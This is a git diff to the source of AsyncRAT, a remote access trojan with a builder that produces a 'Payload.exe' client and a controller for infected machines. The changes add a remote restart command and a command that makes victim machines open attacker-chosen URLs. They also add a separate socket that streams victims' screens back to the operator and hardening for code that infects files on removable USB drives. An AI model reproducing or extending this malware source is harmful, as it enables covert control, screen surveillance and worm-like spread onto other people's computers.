diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs
index 06682c2..1aeb8f3 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs
@@ -180,8 +180,6 @@
// chkAnti
//
this.chkAnti.AutoSize = true;
- this.chkAnti.Checked = true;
- this.chkAnti.CheckState = System.Windows.Forms.CheckState.Checked;
this.chkAnti.Location = new System.Drawing.Point(21, 40);
this.chkAnti.Name = "chkAnti";
this.chkAnti.Size = new System.Drawing.Size(125, 24);
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs
index dcb012c..6edd50f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs
@@ -4,6 +4,7 @@ using System.Windows.Forms;
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using System.IO;
+using System.Threading.Tasks;
namespace AsyncRAT_Sharp.Forms
{
@@ -14,7 +15,7 @@ namespace AsyncRAT_Sharp.Forms
InitializeComponent();
}
- private void button1_Click(object sender, EventArgs e)
+ private async void button1_Click(object sender, EventArgs e)
{
if (string.IsNullOrWhiteSpace(textIP.Text) || string.IsNullOrWhiteSpace(textPort.Text)) return;
@@ -23,9 +24,9 @@ namespace AsyncRAT_Sharp.Forms
if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return;
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
}
-
try
{
+ button1.Enabled = false;
var md = ModuleDefMD.Load(Path.Combine(Application.StartupPath, @"Stub\Stub.exe"));
foreach (TypeDef type in md.Types)
{
@@ -72,17 +73,37 @@ namespace AsyncRAT_Sharp.Forms
saveFileDialog1.FileName = "Client";
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{
- md.Write(saveFileDialog1.FileName);
- MessageBox.Show("Done", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
- Properties.Settings.Default.DNS = textIP.Text;
- Properties.Settings.Default.Filename = textFilename.Text;
- Properties.Settings.Default.Save();
- this.Close();
+ bool isok = false; ;
+ await Task.Run(() =>
+ {
+ try
+ {
+ md.Write(saveFileDialog1.FileName);
+ isok = true;
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ isok = false;
+ }
+ });
+ if (isok == true)
+ {
+ MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
+ Properties.Settings.Default.DNS = textIP.Text;
+ Properties.Settings.Default.Filename = textFilename.Text;
+ Properties.Settings.Default.Save();
+ button1.Enabled = true;
+ this.Close();
+ }
+ else
+ button1.Enabled = true;
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ button1.Enabled = true;
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs
index 0f51cd5..1c75256 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs
@@ -35,7 +35,6 @@
this.labelsize = new System.Windows.Forms.Label();
this.label3 = new System.Windows.Forms.Label();
this.labelfile = new System.Windows.Forms.Label();
- this.timer2 = new System.Windows.Forms.Timer(this.components);
this.SuspendLayout();
//
// label1
@@ -79,12 +78,6 @@
this.labelfile.TabIndex = 0;
this.labelfile.Text = "..";
//
- // timer2
- //
- this.timer2.Enabled = true;
- this.timer2.Interval = 2500;
- this.timer2.Tick += new System.EventHandler(this.Timer2_Tick);
- //
// DownloadFile
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@@ -111,6 +104,5 @@
private System.Windows.Forms.Label label3;
public System.Windows.Forms.Label labelfile;
private System.Windows.Forms.Label label1;
- private System.Windows.Forms.Timer timer2;
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs
index ea5f4ef..5331c24 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs
@@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Forms
public long dSize = 0;
private void timer1_Tick(object sender, EventArgs e)
{
- labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
+ labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
if (C.BytesRecevied > dSize)
{
labelsize.Text = "Downloaded";
@@ -37,10 +37,5 @@ namespace AsyncRAT_Sharp.Forms
{
if (C != null) C.Disconnected();
}
-
- private void Timer2_Tick(object sender, EventArgs e)
- {
- if (!C.ClientSocket.Connected) this.Close();
- }
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx
index 84e852b..e9b4dee 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx
@@ -120,9 +120,6 @@
17, 17
-
- 131, 17
-
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
index c446b3b..7dd9899 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
@@ -37,12 +37,15 @@
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.cLIENTOPTIONSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.cLOSEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.rESTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.uPDATEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.uNISTALLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
+ this.vISITWEBSITEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDMESSAGEBOXToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDFILETOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@@ -84,7 +87,8 @@
this.lv_hwid,
this.lv_user,
this.lv_os,
- this.lv_version});
+ this.lv_version,
+ this.lv_prefor});
this.listView1.ContextMenuStrip = this.contextMenuStrip1;
this.listView1.Dock = System.Windows.Forms.DockStyle.Fill;
this.listView1.FullRowSelect = true;
@@ -122,7 +126,7 @@
//
// lv_os
//
- this.lv_os.Text = "OS";
+ this.lv_os.Text = "OPERATING SYSTEM";
this.lv_os.Width = 179;
//
// lv_version
@@ -130,12 +134,18 @@
this.lv_version.Text = "VERSION";
this.lv_version.Width = 126;
//
+ // lv_prefor
+ //
+ this.lv_prefor.Text = "PERFORMANCE";
+ this.lv_prefor.Width = 170;
+ //
// contextMenuStrip1
//
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.cLIENTOPTIONSToolStripMenuItem,
this.toolStripSeparator1,
+ this.vISITWEBSITEToolStripMenuItem,
this.sENDMESSAGEBOXToolStripMenuItem,
this.sENDFILEToolStripMenuItem,
this.sENDFILETOMEMORYToolStripMenuItem,
@@ -149,12 +159,13 @@
this.bUILDERToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.ShowImageMargin = false;
- this.contextMenuStrip1.Size = new System.Drawing.Size(275, 346);
+ this.contextMenuStrip1.Size = new System.Drawing.Size(275, 376);
//
// cLIENTOPTIONSToolStripMenuItem
//
this.cLIENTOPTIONSToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.cLOSEToolStripMenuItem,
+ this.rESTARTToolStripMenuItem,
this.uPDATEToolStripMenuItem,
this.uNISTALLToolStripMenuItem});
this.cLIENTOPTIONSToolStripMenuItem.Name = "cLIENTOPTIONSToolStripMenuItem";
@@ -168,6 +179,13 @@
this.cLOSEToolStripMenuItem.Text = "CLOSE";
this.cLOSEToolStripMenuItem.Click += new System.EventHandler(this.cLOSEToolStripMenuItem_Click);
//
+ // rESTARTToolStripMenuItem
+ //
+ this.rESTARTToolStripMenuItem.Name = "rESTARTToolStripMenuItem";
+ this.rESTARTToolStripMenuItem.Size = new System.Drawing.Size(173, 30);
+ this.rESTARTToolStripMenuItem.Text = "RESTART";
+ this.rESTARTToolStripMenuItem.Click += new System.EventHandler(this.RESTARTToolStripMenuItem_Click);
+ //
// uPDATEToolStripMenuItem
//
this.uPDATEToolStripMenuItem.Name = "uPDATEToolStripMenuItem";
@@ -187,6 +205,13 @@
this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(271, 6);
//
+ // vISITWEBSITEToolStripMenuItem
+ //
+ this.vISITWEBSITEToolStripMenuItem.Name = "vISITWEBSITEToolStripMenuItem";
+ this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(274, 30);
+ this.vISITWEBSITEToolStripMenuItem.Text = "[0] VISIT WEBSITE";
+ this.vISITWEBSITEToolStripMenuItem.Click += new System.EventHandler(this.VISITWEBSITEToolStripMenuItem_Click);
+ //
// sENDMESSAGEBOXToolStripMenuItem
//
this.sENDMESSAGEBOXToolStripMenuItem.Name = "sENDMESSAGEBOXToolStripMenuItem";
@@ -351,7 +376,7 @@
// columnHeader2
//
this.columnHeader2.Text = "Message";
- this.columnHeader2.Width = 500;
+ this.columnHeader2.Width = 705;
//
// performanceCounter1
//
@@ -428,6 +453,9 @@
private System.Windows.Forms.ToolStripMenuItem uSBSPREADToolStripMenuItem;
private System.Diagnostics.PerformanceCounter performanceCounter1;
private System.Diagnostics.PerformanceCounter performanceCounter2;
+ private System.Windows.Forms.ToolStripMenuItem vISITWEBSITEToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem rESTARTToolStripMenuItem;
+ public System.Windows.Forms.ColumnHeader lv_prefor;
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
index 8ad7b62..a79b60f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
@@ -222,6 +222,27 @@ namespace AsyncRAT_Sharp
}
}
+ private void RESTARTToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ try
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "restart";
+ foreach (ListViewItem C in listView1.SelectedItems)
+ {
+ Clients CL = (Clients)C.Tag;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
+ }
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message);
+ }
+ }
+ }
+
private async void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
@@ -460,6 +481,7 @@ namespace AsyncRAT_Sharp
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
+ tabControl1.SelectedIndex = 1;
}
catch (Exception ex)
{
@@ -481,6 +503,7 @@ namespace AsyncRAT_Sharp
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
+ tabControl1.SelectedIndex = 1;
}
catch (Exception ex)
{
@@ -488,5 +511,28 @@ namespace AsyncRAT_Sharp
}
}
}
+
+ private void VISITWEBSITEToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ string url = Interaction.InputBox("VISIT WEBSITE", "URL", "https://www.google.com");
+ if (string.IsNullOrEmpty(url))
+ return;
+ else
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "visitURL";
+ msgpack.ForcePathObject("URL").AsString = url;
+ foreach (ListViewItem C in listView1.SelectedItems)
+ {
+ Clients CL = (Clients)C.Tag;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
+ }
+ }
+ }
+ }
+
+
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs
index d720203..abaeb4a 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs
@@ -60,8 +60,8 @@
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "RemoteDesktop";
this.Text = "RemoteDesktop";
- this.Activated += new System.EventHandler(this.RemoteDesktop_Activated);
- this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate);
+ //this.Activated += new System.EventHandler(this.RemoteDesktop_Activated);
+ //this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate);
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.ResumeLayout(false);
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
index ec51fa7..8a7346b 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
@@ -36,22 +36,22 @@ namespace AsyncRAT_Sharp.Forms
if (!C.ClientSocket.Connected) this.Close();
}
- private void RemoteDesktop_Activated(object sender, EventArgs e)
- {
- if (Active == false)
- {
- Active = true;
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
- msgpack.ForcePathObject("Option").AsString = "true";
- ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
- decoder = new UnsafeStreamCodec(60);
- }
- }
+ //private void RemoteDesktop_Activated(object sender, EventArgs e)
+ //{
+ // //if (Active == false)
+ // //{
+ // // Active = true;
+ // // MsgPack msgpack = new MsgPack();
+ // // msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
+ // // msgpack.ForcePathObject("Option").AsString = "true";
+ // // ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
+ // // decoder = new UnsafeStreamCodec(60);
+ // //}
+ //}
- private void RemoteDesktop_Deactivate(object sender, EventArgs e)
- {
- if (Active == true) Active = false;
- }
+ //private void RemoteDesktop_Deactivate(object sender, EventArgs e)
+ //{
+ // // if (Active == true) Active = false;
+ //}
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
index 74b48ca..9358a9d 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
@@ -38,6 +38,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
+ Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
Client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString;
Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
Program.form1.listView1.Items.Insert(0, Client.LV);
@@ -52,7 +53,16 @@ namespace AsyncRAT_Sharp.Handle_Packet
case "Ping":
{
- Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
+ if (Program.form1.listView1.InvokeRequired)
+ {
+ Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
+ {
+ if (Client.LV != null)
+ {
+ Client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString;
+ }
+ }));
+ }
}
break;
@@ -94,10 +104,10 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
- RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID];
+ RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
try
{
- if (RD != null && RD.Active == true)
+ if (RD != null)
{
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
@@ -117,10 +127,12 @@ namespace AsyncRAT_Sharp.Handle_Packet
}
else
{
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
- msgpack.ForcePathObject("Option").AsString = "false";
- Client.BeginSend(msgpack.Encode2Bytes());
+ //MsgPack msgpack = new MsgPack();
+ //msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
+ //msgpack.ForcePathObject("Option").AsString = "false";
+ //Client.BeginSend(msgpack.Encode2Bytes());
+ Client.Disconnected();
+ return;
}
}
catch (Exception ex) { Debug.WriteLine(ex.Message); }
@@ -335,11 +347,12 @@ namespace AsyncRAT_Sharp.Handle_Packet
}
}
}
-
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
+ GC.Collect();
+ GC.WaitForPendingFinalizers();
}
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe
index 14f7f70..9ad7992 100644
Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe differ
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
index 574dc53..2ea73c2 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
@@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp
public static string Password { get; set; }
public static Aes256 aes256{ get; set; }
- public static readonly string Version = "AsyncRAT 0.4C";
+ public static readonly string Version = "AsyncRAT 0.4.1";
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
index 37afd24..f1c9b4e 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
@@ -17,12 +17,12 @@ namespace AsyncRAT_Sharp.Sockets
public string ID { get; set; }
private byte[] ClientBuffer;
- private long ClientBuffersize;
+ private int ClientBuffersize;
private bool ClientBufferRecevied;
private MemoryStream ClientMS;
private object SendSync;
private object EndSendSync;
- public long BytesRecevied;
+ public int BytesRecevied;
public Clients(Socket socket)
{
@@ -75,15 +75,15 @@ namespace AsyncRAT_Sharp.Sockets
if (ClientBufferRecevied == false)
{
await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
- ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
- ClientMS.Dispose();
- ClientMS = new MemoryStream();
- if (ClientBuffersize > 0)
- {
- ClientBuffer = new byte[ClientBuffersize];
- Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
- ClientBufferRecevied = true;
- }
+ ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
+ ClientMS.Dispose();
+ ClientMS = new MemoryStream();
+ if (ClientBuffersize > 0)
+ {
+ ClientBuffer = new byte[ClientBuffersize];
+ Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
+ ClientBufferRecevied = true;
+ }
}
else
{
diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj
index a7adf87..4f12e1d 100644
--- a/AsyncRAT-C#/Client/Client.csproj
+++ b/AsyncRAT-C#/Client/Client.csproj
@@ -61,9 +61,6 @@
-
- ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll
-
..\packages\IconLib\IconLib.dll
diff --git a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs
index de4dc01..6f53ea1 100644
--- a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs
@@ -71,8 +71,7 @@ namespace Client.Handle_Packet
ReceiveTimeout = -1,
SendTimeout = -1,
};
- Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]),
- Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
+ Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "socketDownload";
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs
index f3114b4..dc957ea 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs
@@ -71,12 +71,26 @@ namespace Client.Handle_Packet
try
{
ClientSocket.Client.Shutdown(SocketShutdown.Both);
+ ClientSocket.Client.Dispose();
}
catch { }
Environment.Exit(0);
}
break;
+ case "restart":
+ {
+ try
+ {
+ ClientSocket.Client.Shutdown(SocketShutdown.Both);
+ ClientSocket.Client.Dispose();
+ }
+ catch { }
+ Process.Start(Application.ExecutablePath);
+ Environment.Exit(0);
+ }
+ break;
+
case "uninstall":
{
Uninstall();
@@ -96,16 +110,18 @@ namespace Client.Handle_Packet
{
case "false":
{
- if (RemoteDesktop.RemoteDesktopStatus == false) return;
- RemoteDesktop.RemoteDesktopStatus = false;
+ //if (RemoteDesktop.RemoteDesktopStatus == false) return;
+ // RemoteDesktop.RemoteDesktopStatus = false;
}
break;
case "true":
{
- if (RemoteDesktop.RemoteDesktopStatus == true) return;
- RemoteDesktop.RemoteDesktopStatus = true;
- RemoteDesktop.CaptureAndSend();
+ // if (RemoteDesktop.RemoteDesktopStatus == true) return;
+ // RemoteDesktop.RemoteDesktopStatus = true;
+ // RemoteDesktop.CaptureAndSend();
+ RemoteDesktop remoteDesktop = new RemoteDesktop();
+ remoteDesktop.CaptureAndSend();
}
break;
}
@@ -210,6 +226,17 @@ namespace Client.Handle_Packet
}
}
break;
+
+ case "visitURL":
+ {
+ string url = unpack_msgpack.ForcePathObject("URL").AsString;
+ if (url.StartsWith("http"))
+ {
+ Process.Start(url);
+ }
+ }
+ break;
+
}
}
catch { }
diff --git a/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs b/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs
index f2abbd3..3f4b18b 100644
--- a/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs
@@ -39,7 +39,6 @@ namespace Client.Handle_Packet
{
if (usb.DriveType == DriveType.Removable && usb.IsReady)
{
- count += 1;
if (!Directory.Exists(usb.RootDirectory.ToString() + spreadSettings.WorkDirectory))
{
Directory.CreateDirectory(usb.RootDirectory.ToString() + spreadSettings.WorkDirectory);
@@ -55,6 +54,8 @@ namespace Client.Handle_Packet
CreteDirectory(usb.RootDirectory.ToString());
InfectFiles(usb.RootDirectory.ToString());
+
+ count++;
}
}
catch (Exception ex)
@@ -62,14 +63,13 @@ namespace Client.Handle_Packet
Debug.WriteLine("Initialize " + ex.Message);
}
}
- if (count != 0)
+ if (count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
msgpack.ForcePathObject("Count").AsString = count.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes());
}
-
}
private void ExplorerOptions()
@@ -103,8 +103,12 @@ namespace Client.Handle_Packet
foreach (var directory in Directory.GetDirectories(path))
{
- if (!directory.Contains(spreadSettings.WorkDirectory))
- InfectFiles(directory);
+ try
+ {
+ if (!directory.Contains(spreadSettings.WorkDirectory))
+ InfectFiles(directory);
+ }
+ catch { }
}
}
diff --git a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs
index 2f57007..74a006d 100644
--- a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs
@@ -7,20 +7,27 @@ using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Windows.Forms;
+using System.Net.Sockets;
+using Client.Helper;
+using System;
namespace Client.Handle_Packet
{
class RemoteDesktop
{
- public static bool RemoteDesktopStatus { get; set; }
- public static void CaptureAndSend()
+ //public static bool RemoteDesktopStatus { get; set; }
+ public void CaptureAndSend()
{
try
{
+ Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+ Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
+
+ string hwid = Methods.HWID();
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60);
- while (RemoteDesktopStatus == true)
+ while (Client.Connected)
{
- if (!ClientSocket.Client.Connected) RemoteDesktopStatus = false;
+ if (!ClientSocket.Client.Connected) break;
Bitmap bmp = GetScreen();
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
Size size = new Size(bmp.Width, bmp.Height);
@@ -33,18 +40,23 @@ namespace Client.Handle_Packet
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
+ msgpack.ForcePathObject("ID").AsString = hwid;
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
- ClientSocket.BeginSend(msgpack.Encode2Bytes());
+
+ Client.Poll(-1, SelectMode.SelectWrite);
+ Client.Send(BitConverter.GetBytes(Settings.aes256.Encrypt(msgpack.Encode2Bytes()).Length));
+ Client.Send(Settings.aes256.Encrypt(msgpack.Encode2Bytes()));
}
}
bmp.UnlockBits(bmpData);
- bmp.Dispose();
+ GC.Collect();
+ Thread.Sleep(1);
}
}
catch { }
}
- public static Bitmap GetScreen()
+ private Bitmap GetScreen()
{
Rectangle rect = Screen.AllScreens[0].WorkingArea;
try
diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs
index a308623..caf3e20 100644
--- a/AsyncRAT-C#/Client/Settings.cs
+++ b/AsyncRAT-C#/Client/Settings.cs
@@ -8,7 +8,7 @@ namespace Client
{
public static readonly string Ports = "6606";
public static readonly string Host = "127.0.0.1";
- public static readonly string Version = "AsyncRAT 0.4C";
+ public static readonly string Version = "AsyncRAT 0.4.1";
public static readonly string Install = "false";
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
public static string Password = "NYAN CAT";
diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
index c0adcde..4d2dccf 100644
--- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
+++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
@@ -22,7 +22,8 @@ namespace Client.Sockets
private static object SendSync { get; set; }
private static object EndSendSync { get; set; }
public static bool Connected { get; set; }
-
+ public static PerformanceCounter theCPUCounter;
+ public static PerformanceCounter theMemCounter;
public static void InitializeClient()
{
try
@@ -43,6 +44,9 @@ namespace Client.Sockets
MS = new MemoryStream();
